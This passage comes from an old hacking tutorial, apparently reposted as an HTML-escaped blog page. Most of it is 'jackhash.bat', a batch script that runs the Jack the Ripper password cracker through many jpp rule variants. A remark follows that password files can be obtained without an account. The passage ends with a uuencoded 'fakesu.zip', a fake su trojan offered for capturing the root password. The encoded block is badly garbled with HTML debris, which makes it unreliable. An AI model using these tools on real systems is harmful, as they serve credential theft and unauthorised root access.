-lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;&lt;br /&gt;--------------- end of jackhash.bat&lt;br /&gt;&lt;br /&gt;You can get password files without an account, see next chapter.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;uuencoded file:&lt;/span&gt; Fack SU program - For getting the root password.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;begin 644 fakesu.zip&lt;br /&gt;M4$L#!!0````(`"\B1")UVD\.'0P``#DP```(`!``8V]N9FEG+FA56`P`DZ/X&lt;br /&gt;M,KH,]S+\`0``M9I;&lt;z-&amp;%h#?\rnz)@_*if;&amp;zttj^[!.jc#",c42l(!\&gt;\$8&lt;br /&gt;M6E*O$4WHQAK-K]]S&amp;B0+A&amp;amp;@EFZV:&amp;NL"7Y]S^EP;7?Q($IXOV/+SZC,A$YK3&lt;br /&gt;M,I8T)7$E^3J6+(FS;$M&gt;MLU554GALA\OOKLXN(_E`[&lt;n2kx^n)ge",-+5c1. 5g3=""&gt;F"Y93PA:$Y\2P'\A/G[\CA`1;(&gt;F:U%&lt;+(OB:2K:F@J3U]7+%A+KP MGI+_5$*239Q+(CF)WS@#84A)U95,,N#2LN0E@=M%O&amp;PT^9XM&lt;kb"1,9t&amp;@7n mw=""&gt;&lt;m%.?[joninicf*5mty*t$ry&gt;&lt;$M.5)_#G9VZ&lt;af(ap3:.c)ta(ux7&gt;&lt;(D"N M*'FEVPTO4Y)RT"WGH`&lt;o7[lll"-h&gt;`3B\(&gt;#K$LJ7W[YYT&lt;rl&gt;&lt;)K_%N_)PM0 MV2SC[:=_D#A/ZY&gt;/,X\(9=K:&gt;B&amp;amp;8D2RJ/%%F@M&lt;e_;ub8#mu]txw(jjbx*7$ nb=""&gt;T57:-QZC(#3,+X$UB2QGW!$:H&gt;/)_(%LF%R1*Z!&lt;i,l(_d0l7_# z0="" 7qd=""&gt;)H.+DME/8THVN:2T%8KCZ/2]"3""K1X9[!%,N25X48*77GHE+&gt;&lt;br /&gt;MB=Z#VE(0@Y;DF&gt;5R1$"VYR5+(SEJ/*1Q-3#KQ'?G7A"%1'W?\0-&lt;%1?*&gt;)S&amp;&lt;br /&gt;M;\O1NSUS2E.!`K]04E8Y2E6!&lt;\)"\`I076UAI:EKC(V[2&gt;3Y]IT]M296UX1`&lt;br /&gt;MJ\6%E94!T1`"3*=&lt;*!_))D*Z;"7Y&lt;=!M&gt;456\1MM]OHCB04$SUX#C)HX*7G;&lt;br /&gt;M(K?&amp;G;5S[\M3P*O&amp;&gt;T`R=#\FB5CQ*DO1&amp;amp;)4`#_L!W1W6F&amp;&gt;R9%__=G*)Z+9W&lt;br /&gt;MD92CLFJIMZ($DRS(2P7:\_JS*.5%F&lt;nn&amp;11w['j^$_8:hvq&gt;&lt;&amp;amp;R#@(&gt;!6?)/W&lt;br /&gt;M[VXO^7T'ATRM@AR3Q_-Z'1&gt;CW9*8.7NL,)L9WFDSH_&lt;)62XP.P[+%H3^36C/ MK%-ZR[)*((76JLMU](T?&gt;Y$"A;/HR77Z.8?;TC!:VX+BTJ^2EGF&lt;u;&amp;*&gt;&lt;2f_&gt;/CD&amp;amp;2#RH_6[WV\JW,'&lt;03dyxt^:`ea'dg6p?qk$&lt;";*!/pik0mi= _="] 420=" m9vh="" 8836b=""&gt;:.[3H#_G:EF/OLNK-,30"OF)MAVS*88S*&gt;+_]PDN&amp;+15^243Y:&lt;br /&gt;M^_B^SA4E?V,I)9X;@*$NR8+&amp;$CH%R,E?$UI(]`I5)%2JKE&lt;[RI&gt;1NCFZ/*C4&lt;br /&gt;MQR;`)(P:,&lt;qft$rh(b0d[#*f):x*`"r2+u6f[bn_s3*]bz"ijerp)8cwa\te yks="Z&amp;quot;%DNA=&amp;quot;"&gt;[RT''Y)5`^=N`&lt;br /&gt;M&amp;5'I@_3VKUKQ#8-:#IEYP[(,\C(BVFU&lt;2m,jp&gt;9.8@'[A$D&amp;amp;"JFJ\-'8]BTS&lt;br /&gt;M1-?[C?R=_/J;6@J-N(FAH5FQ)5HV3E/85$'%\5U7/7=E?#-\TZ_U32U%&amp;Q6K&lt;br /&gt;M'$V1?]&gt;V&lt;1?0zys/060'/x[j6j=:";6-z"7u+ny;,_3;@i;9mkn7l$x8s0s3 m="X/HVG"&gt;_6$,1B6L:3F##-M&lt;=+EE`HA'M^`S"L1G=6L;8\H-V?(+:37]\1WQH M@&amp;+8Q9^/!+KS?^X7(8',(N(%A?UE&gt;9)5$(4O?-&gt;/J2UN:O95\Z8M%]:0Z-X.&lt;br /&gt;M;Z/@$7HBNS\_EVU&lt;2i,lqo#&gt;EYFNO%!5;.&lt;=^==T/55/UX.A8.4)+RF9SXRC M)(V?#=\!MOY)E0N5IJ]8_GN$GE*)BZ2H\!4*AK'$H&amp;V'[44?54(??-VWZL_1 M3R=J`SA=`@&amp;amp;A$A='*^+,('8)DI(UAYJ!28@M('!SE3U?MA(D9R5\\T/&amp;7BF9 M&lt;;B79[':VL`S?/,CQ(SZRLXES=3G=\;#W[JRW;O^&amp;)S:GD!#;QL]?EVGK?&lt;f 3=""&gt;&lt;-[3S&amp;/.R+NC6X++)HWZ8C[?W-;F]5X)604(XJ\/NU@\U&lt;+8&lt;`UW7-R;WM M!$\8X[@E,(JI$;C=AZM+=N[HA8]_ELYX(C,='^X*I\?^?HG+.--@-Y516"MM MV]5RC.NI%&gt;%%7:M&gt;MO)-$DNPE%`[7#=HNW$9.G$R&lt;&gt;9H2`E]66^_9QHA[%\P&lt;br /&gt;M:(114Z39+BD_[P*=EFO&amp;Q:AN:9IF!OT3.[Z4)%&amp;amp;V#]M6RV9&amp;4]NQ-'HU4O])&lt;br /&gt;MO4"IT'HX-0=@K&lt;t@=zg4c".xc"&amp;&gt;R=2,9E80&amp;amp;!,KZ)'ZX-O^I'@P76#@7F!D&lt;br /&gt;M7U2%ZMY%01,&amp;amp;;3$NV,/V?-&gt;,YM[IA'O`AO)P!_-6G$)O4,1"U/D"S:1Z,?4%&lt;br /&gt;MJ'9X&amp;--:*[@UQNY]=_+:&gt;65G^"B28CO4?0&gt;A9WJ/FA%F*S*^'*0\!E-W,J3Y&lt;br /&gt;M:%]=*KDN6@[7&gt;%LEHQ6DRA[Z/(QNW2`&lt;%O(*N5^QZAQ4[5[7FH&lt;s[p',=^1: b="QLL*D\80-G2@89&amp;amp;LU"&gt;WA&lt;l*^[&gt;&lt;ya.2x#c\%357],p;zvcw&gt;&lt;%&lt;"@HG MH'W3V92TR.)$]9'O4WU[$.\JT`".$I*"ORK9_P=X#1C,I\!\K&lt;,#HA&gt;&amp;.UXR&lt;br /&gt;MN57.*P[&gt;'PS-XJ,J&gt;%5=D)]SEM#1KO@&gt;S4VVB:%DN[Y]E-&gt;;HR7T%4QA^#J%&lt;br /&gt;MR:ED@#YR2@_Z2HAS\D&amp;L/L'7F?B@4.%*)0O(N#3?=^[-D*Z&amp;amp;C`^8ECY\5/HT&lt;br /&gt;MC,YYDS./]G"\N+U`)Q95&amp;[DW/J03R55O!,,U[D#\TLTED$9"-WSTNAD*@,N\&lt;br /&gt;MBO9G"7]TCW?\/&gt;"0=FHNBQY&lt;sw)vh]5^1`-9uc't)4wq@$q5p]6``j-*8u)8 yx="4:&amp;amp;EC^SH1MW+`O:E]9&amp;quot;O=O^1DMQL%^G=_X.&amp;G(&lt;)3Y&lt;?K[\ MY&lt;,9C&lt;&amp;amp;N%F[`)V" tw="" u=""&gt;&lt;v`_6=@&gt;&gt;*$UTXP14127RV]1PJN##&gt;I)&lt;br /&gt;M&lt;%%D^).GR'3GCB;+-&lt;0&lt;"^o@@5*#=$[5t"-d'0)l,5@m&amp;fh0^k8sl6\t=&gt;,%&lt;br /&gt;M9A\5KP/$:R.P],=(+PD?+F/7IJNK8LFJY'QP&amp;amp;\Q;WW4U&amp;Y"4VV(8XC]Z&amp;amp;D::&lt;br /&gt;M['JCP2T&lt;ft--t,&amp;179xn2skl83`=3'q+yuu`*c9zdg&gt;O)2TR#@/1`.9FZKJ^&lt;br /&gt;MAM%S;-IFG&amp;JWWAE@Z&amp;amp;23#D'`QN;]6$M):&lt;;6&amp;L[8FMHS+:F9B891]4,-+0L; MII&lt;m'leh&gt;-@_73\:X['&amp;YGNF+F[W3'WP-LPSB6?QFEGV+SCOWW4R\9)B^M&lt;( MZ.'P`/E?*R"Z+E^D\6#2PO`&amp;amp;#W9OQH8F=P$1ZFDI5A0*[#!Q'D`%O+6FTV$B M?":C7/)X"`=#7A@YH3OP)*EFL3.\VG;LL]R:B5@DC`VB`B,P;7N8@ZWR&lt;-&amp;8 M63/M[`,4?%XY3`DL33I&lt;\W3P&amp;amp;&lt;c,'=]h"%6^chm!qms1&gt;&lt;c!g o="&lt;$" g9="" ixy=""&gt;,3=BHK!-';R"SOQM2$MO'EK.W;"6^,AIB('/FS03&lt;br /&gt;M+]7)`5NNE4.&lt;e_b"&gt;&lt;q.?p,2'!q\:fii$=:s?2tw[$?s;uw4&gt;0E&gt;A`WV%_HN.&lt;br /&gt;M*&amp;290+&gt;)L_$@R3&gt;AWS1G^F&gt;VT"WJ2+&gt;:6HH44&gt;0Z3.`Y6D[]&amp;amp;YEAD.7[NHX*&lt;br /&gt;M2&amp;&lt;h=i9f\$^#@7]:bn2#y0p0h:li9(i2z3%s'6&gt;&lt;k\'&gt;&lt;nfe,nv[eq_w^'9&gt;\4&lt;br /&gt;M^4U3=&lt;(G;=&amp;I=(EGKD\Y5S@;]AZJM7\,@E-A_T]!#E%%?(%]QSD\SZB[#QUT MD&gt;1XBJ\#WIA..-7#H*\\0SJ870R]9#`O,/4X24.#F&lt;$.`SVN.?+6XE3RU^+6 M&lt;;*ZP/_..3&amp;=&amp;amp;&gt;9M_5_/J6F7BP_"]6+.U.^'M&amp;*"MZ0O&gt;AIXROCZ'!BZ'_C@&lt;br /&gt;M643E?[:CQV;1_HFG!CJ-U.&amp;&gt;%EG$&lt;g4&amp;ss q="" m="" p=""&gt;$NEQ&gt;-86E_'Z#"(^\#-\8W865/#D]9Q&lt;@]3`-;^&lt;d6p45at?-c^)u$:. g="" gjqu=".&amp;&lt;X1&amp;amp;Y#D"&gt;T##/&lt;`)5Y&lt;xb0jw3xjj&gt;&lt;@9?J&lt;7/' 9=";\L.G3'UP]"&gt;;7]0'@\#ZGR^00&lt;br /&gt;M"&amp;]/XL83W=#$#E'L),C68%[5[ZX.4.J#D[@O.-EID%P&lt;\K@X"7/['V`?CCXM M@\';DRSH[W6P^MGK(4]]TO&lt;s5p2jyzv:kj_*6[pj khvw145="]&lt;!+X" 4j_q="02P,$%`````@`\WM%(H"&gt;YN^Z.!```M`D```&lt;`$`!E&lt;g)o&gt;&lt;byh55@, 1b84=""&gt;UX&gt;4@S82!!0[JGAR&lt;br /&gt;M%WM,5G+6T&gt;XFE%-__'VS&amp;P@Y]7I]Z$MB[\[.?//-MS/&gt;VR&amp;amp;VMK/]*&gt;WN4LU5&lt;br /&gt;MJZSRNC/4=#9N[5J&gt;=]9K&lt;t_-pe2rv2.blv[^: rem=""&gt;TX5E&lt;br /&gt;MIKQK_(.R3!?=PM3!8T9#4_5[&lt;k:8:d=sv]u;-2,\-g+$k8z&lt;tf.wh$h9leqk&gt;@^H9EVMFT?Q@S5X9TM^RN39SAQU37CY-)K0)S9L54LWB[M6&lt;br /&gt;M5W2I*S:.22&amp;TK+@IUW07_,B)_X)]2JRQ;VG)U@DQ!QD!1**\X+34S&lt;4j%3?* d="*#;ENZ8UHX;A9M)BY@3%^&amp;Q"&gt;?K24&amp;amp;#&lt;br /&gt;MT2U]&amp;8S" q=""&gt;PIC/^VPRTN.KO1LWFIX1AI6&amp;amp;?\(1L3#U?GX[#..##X.+X?%&lt;br /&gt;MK:1P,2Q&amp;YWE.%]=C&amp;amp;M#-8%P,SR:7@S'=3,8WU_EYGRAG@&lt;7bx"&gt;,-J$H8*UF&lt;br /&gt;MKW3K8MJWJ*(#MK:FJ5HRJEFQ7@*9H@K:^?]*!4K;#KJ3)&amp;&amp;amp;\IO&amp;4=$.F\QD]&lt;br /&gt;M6`UQ^.ZG-0P&lt;bohr.gi p="" avxp="LZ+4*\&amp;amp;]/9@?W]_" m="__P[4E&amp;DWP`+G;V"&gt;KTMW4!O#9V/Q]?C\G/9VT+.C3:\7L'2RJ@LE5\5NBQ[&lt;br /&gt;M&gt;SM1"`TKOP`Z/*HEV%)WP`(9W%?5DVP&lt;'?2/1.U133'V%DG.90F^SLJ2_J0# M^OZ=DN&gt;%#Q^P\N;-D\75&lt;`0\8G&gt;4BF%9YL5X&gt;%:4@U$^+`4X/4'?P)GD&lt;zy2 b=""&gt;5PAAIOQV@/YU;K7Q#5Z&gt;G+M0&lt;br /&gt;M4*2NJHKG/MR^?Z=]W']'"3&lt;-G$,K[2.63M+?1L5)NIEWQ(NM^+"Y&amp;?%C,SZL M:=A:_8=*K^QK"9\7?R%\&amp;amp;D/'EYZ0=B,.(/L9.Z?N.&lt;ky:q&gt;&lt;br /&gt;M#8J,^OU^NGT:^EM0VFAR)6HQG?F;;9&lt;!--;-MV#[%3P-'K/^AU8`A=)31L2N*A MM!]DWU--&gt;#(I)ON%#FJ4VRH?K_=R&lt;(C#^!M=)/)1NKY3/WW#$T++3-:VB2%+. M0\TN(WG&amp;LEG,,MQNXSQ54V5I)Q(;&lt;q(tm*dv2i(754c6i&amp;=tf-&amp;[-$u m="" r=""&gt;&lt;=9[]&gt;H5HB^,T_&lt;f-%y mp4=""&gt;&lt;&amp;OTZTQX-U%:A*$2-?"R&amp;amp;!(\(`_]$FTPU%B1FZ-MH2C7,I0&gt;M..-&lt;br /&gt;M&amp;)7"CW1*.?XTKI^'Q!S#?&lt;9@tr%_yug5l;ho&amp;4yv(l&lt;!--6be@!$5*b--&gt;Q*=I!_&lt;br /&gt;MB^;\4@E8_E%UL/Q+GF'W?*&gt;&gt;VF3H*Z$U"M;*\HR-M`Q6%4:!GC%T*MZVQ4"R&lt;br /&gt;MYLU&lt;-@H=XZZN7UEA+OA8IKP#'7#FZ`'7$GU,)DF85AC%,TP#U(976&lt;xqur6o s2="" frf="" cx4pk="" sa=""&gt;&lt;,K0V&lt;:WB(5")&amp;X$YH#H1( M(\:1Y_$B)_\!4$L#!!0````(`+I,12+5AMY/@@(``,X$```*`!``9F%K97-U M+F1O8U58#`!/J?@R3ZGX,OP!9`!M4TUOTT`0O&gt;^O&amp;amp;$JE@I0X`BXHJ(&gt;J"K2'&lt;br /&gt;M%M0D((00VMAC&gt;XF]:^VLF_K2W\[,KI.T0`Z1]GGFO?EX\U%O$99KV`QP6QK[&lt;br /&gt;M'J9@IJC4]=WE'&amp;8M5&gt;FYT#2`)G@S&gt;3MY!UF6*759:ULAA!JATZ$&amp;amp;8\%9!%=&amp;&lt;br /&gt;MJ"?TH//&lt;]380(SK`X'JH]3T*C,2@B[@2G!#!$&amp;amp;&lt;96tdyi7&lt;m&gt;-2%O)G/&gt;*@-&lt;br /&gt;M!&gt;&lt;'*$V#-)'LV@302;PTGH)Z+M,U.L&lt;b5d,]!.]^:qnsn=3@,h`lh&amp;_!&gt;&lt;bp 46=""&gt;&lt;jyxh=2-s(1zcr*"!:l(1w#=ocgjlspqq1[&amp;`8cpsc0-;#`uhbau..:, m=""&gt;&lt;20`al,tc)a4x*v!?`[qg'3c4q@y_p62bz.0468.xx)?n#!9qm-]:_.nua!&gt;YL$X2\J4\`.F)3S.8J+/&lt;br /&gt;MX&gt;&lt;'";&lt;*QE]V_';`2B/,:UDV=9B;TN2`]MYX9UNT(6I0T#[T'7`IE=&lt;m*?7e kss=""&gt;+V&lt;98m;c]&gt;IY&gt;&gt;Y'U&lt;g%w&gt;W&amp;S.#\Y40H?.N&lt;#[#'@&lt;!--`&amp; MI;[SW/.C&amp;:,5--&gt;!96MC.'I)5X9=_SOW65^L9=IAT-/)6B92?[WIX1G"W79\#K&lt;br /&gt;MCRMC*`8MU]-QDR8!D585QF,^&amp;E0*D,X]QIH/'N@T$&gt;^U`+'3T+$Y=WQ3.QY6&lt;br /&gt;M-8E[7B5BMNLX++9!WQ2CGWNQ&gt;VV*`@\^CK2ST';P1-_Y&gt;%-1EGT3M+&amp;4O.5&lt; M.!;QRATN-('%ZU05G\9U&amp;?O6I+B,B"```3A8```P`$`!L:6)G971T97AT+FA56`P`NZ/X,AG\^#+\`0``&lt;br /&gt;MK5AK&lt;]I(%OUL_8H;IVH&amp;7!C;R&lt;y,i5a&gt;&lt;;89@NP"_!F7;-;VD9J4-=*:DIJ MF6$S^&gt;]S;DL"\7"&lt;[(XK`=1]^S[.?;;.3BA4T[DT1OYFF@&amp;=GM)`IJF82_*$ M$:&amp;amp;&gt;IS33":G8R"061NE8A.J_]D?3(:*.7JP2-0\,U3IUNOCPX8&lt;&amp;?_Y(-XF4 M--8SLQ2)I!N=Q;X]U:!&gt;[#4=9Q*HE!:)GB&lt;b(or&gt;&lt;,7U:T+=HI3-H$%,B?96: M1$TS(TD9$K%_!GTB[:O9RL$"^,J$3"`)&amp;D8IZ9E]N!T^TJV,92)"&gt;LBFH?*H&lt;br /&gt;MKSP9IY($Y/)*&amp;amp;DB?IBN'R5_2MD5283^A9YFD&gt;*9W#8+XFC"L84)ZP51U1\0K&lt;br /&gt;M"H79$!ZP&lt;&amp;.(#SRMEH%&gt;0.\`W&amp;amp;#)4H4A325EJ9QE8&lt;,!)7WL3&gt;[N'R?4'C[1&lt;br /&gt;MQ_9HU!Y.GEJ@-('&amp;KGR6.1\5+4(%MM`^$;%9`05GT!UU[D#?ONKU&gt;Y,G5ONF&lt;br /&gt;M-QEVQV.ZN1]1FQ[:HTFO\]AOC^CA=TI#D(MGEO#0+G!K45J1K$V#5HF"A%@&lt;br /&gt;M-.VYR]D-K@;]\($F$IA(&gt;@B%)^F4QAD??__^O$%7.C5,.FC3^;N+BXO3B_?G&lt;br /&gt;M/S7H&lt;=R&amp;_2=GCG-V0E?2$_`#P&gt;.ICA"8J]1(1%=--N=-2`Y%HM(Z+:7=-BJ2&lt;br /&gt;M:6XY%%2Q%V:^Y.Q@7&lt;ncr#-d48@d0p`n)7r-;vok3$%1l+(,++*&gt;9N5_8Q8%&lt;br /&gt;M-P;$2(^-)#'5SQ*Z7B$$JA("*3@7(IN."YD$8I&amp;2"%/-?'PY4[$DM]^[Z@TG&lt;br /&gt;M??&gt;.4XF/)W+&amp;amp;(DOY,*`097G;8\J*9=("H;?PRIN&lt;ht^u#&gt;&lt;\Z_?[[SL9M=S+I M_F."O9=/.6_WU3NZ&lt;-[*&amp;%GNO*WLK;EAF_WT498G42N$[ZN\0@&amp;2:*I#-B95 